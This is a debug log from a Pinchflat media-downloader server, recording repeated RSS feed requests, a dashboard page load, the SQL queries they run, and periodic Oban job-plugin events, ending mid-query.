["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:09:13.872 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1020.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:09:13.875 [debug] QUERY OK source="source_metadata" db=0.7ms idle=458.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:09:13.876 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=460.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:09:13.877 [info] Sent 200 in 10ms 18:09:29.125 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:59.145 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.556 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:10:29.148 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:59.150 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.557 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:11:29.153 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:59.163 [info] {"source":"oban","duration":9119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.558 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:12:29.167 [info] {"source":"oban","duration":1911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:41.685 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:12:41.685 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:12:41.688 [debug] QUERY OK source="sources" db=2.4ms queue=0.1ms idle=1227.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:12:41.690 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1231.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:12:41.693 [debug] QUERY OK source="source_metadata" db=0.9ms idle=1233.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:12:41.695 [debug] QUERY OK source="media_metadata" db=1.8ms queue=0.2ms idle=1171.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:12:41.696 [info] Sent 200 in 11ms 18:12:59.169 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.559 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:13:29.171 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:59.173 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.562 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:14:28.651 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:14:28.652 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:14:28.654 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=838.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:14:28.731 [debug] QUERY OK source="media_items" db=2.8ms queue=26.9ms idle=240.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:14:28.780 [debug] QUERY OK source="source_metadata" db=47.9ms idle=274.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:14:28.782 [debug] QUERY OK source="media_metadata" db=0.8ms queue=0.1ms idle=322.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:14:28.782 [info] Sent 200 in 131ms 18:14:29.175 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:59.177 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.635 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:15:29.179 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:59.183 [info] {"source":"oban","duration":2199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.636 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:16:29.185 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:59.219 [info] {"source":"oban","duration":33525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.638 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:17:29.221 [info] {"source":"oban","duration":1763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:45.769 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:17:45.770 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:17:45.773 [debug] QUERY OK source="sources" db=1.3ms idle=1295.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:17:45.776 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=1297.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:17:45.798 [debug] QUERY OK source="source_metadata" db=0.4ms queue=0.1ms idle=1321.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:17:45.800 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.2ms idle=1322.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:17:45.802 [info] Sent 200 in 32ms 18:17:59.224 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.639 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:18:29.226 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:59.229 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.641 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:19:01.513 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:19:01.533 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:19:01.535 [debug] QUERY OK source="sources" db=1.2ms idle=1056.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:19:01.537 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1057.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:19:01.538 [debug] QUERY OK source="source_metadata" db=0.2ms idle=1060.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:19:01.539 [debug] QUERY OK source="media_metadata" db=0.2ms idle=898.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:19:01.540 [info] Sent 200 in 27ms 18:19:29.232 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:59.236 [info] {"source":"oban","duration":1964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.642 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:20:29.238 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:33.614 [info] GET / 18:20:33.657 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:20:33.702 [debug] QUERY OK source="settings" db=0.5ms idle=1223.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:20:33.753 [debug] QUERY OK source="media_profiles" db=49.9ms idle=1224.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:20:33.754 [debug] QUERY OK source="sources" db=0.6ms idle=824.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:20:33.755 [debug] QUERY OK source="media_items" db=0.5ms idle=276.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:20:33.759 [debug] QUERY OK source="media_items" db=3.6ms queue=0.1ms idle=277.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:20:34.070 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=310.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:20:34.072 [debug] QUERY OK source="settings" db=1.6ms queue=0.1ms idle=316.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:20:34.367 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=611.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:20:34.649 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=889.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:20:34.881 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=947.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:20:34.885 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=819.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:20:34.914 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=840.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:20:35.203 [debug] QUERY OK source="media_items" db=3.0ms queue=0.1ms idle=550.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:20:35.215 [debug] QUERY OK source="media_items" db=2.0ms queue=0.9ms idle=331.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:20:35.357 [info] Sent 200 in 1743ms 18:20:59.241 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.645 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:21:29.244 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:59.247 [info] {"source":"oban","duration":2333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.646 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:22:29.250 [info] {"source":"oban","duration":1663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:32.355 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:22:32.356 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:22:32.358 [debug] QUERY OK source="sources" db=1.2ms idle=1878.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:22:32.360 [debug] QUERY OK source="media_items" db=1.4ms idle=1880.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:22:32.362 [debug] QUERY OK source="source_metadata" db=1.0ms idle=1883.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:22:32.364 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=1097.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:22:32.364 [info] Sent 200 in 9ms 18:22:59.253 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.647 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:23:29.256 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:59.258 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.649 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:24:11.055 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:24:11.057 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:24:11.058 [debug] QUERY OK source="sources" db=0.5ms idle=578.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:24:11.059 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=579.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:24:11.060 [debug] QUERY OK source="source_metadata" db=0.5ms idle=581.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", 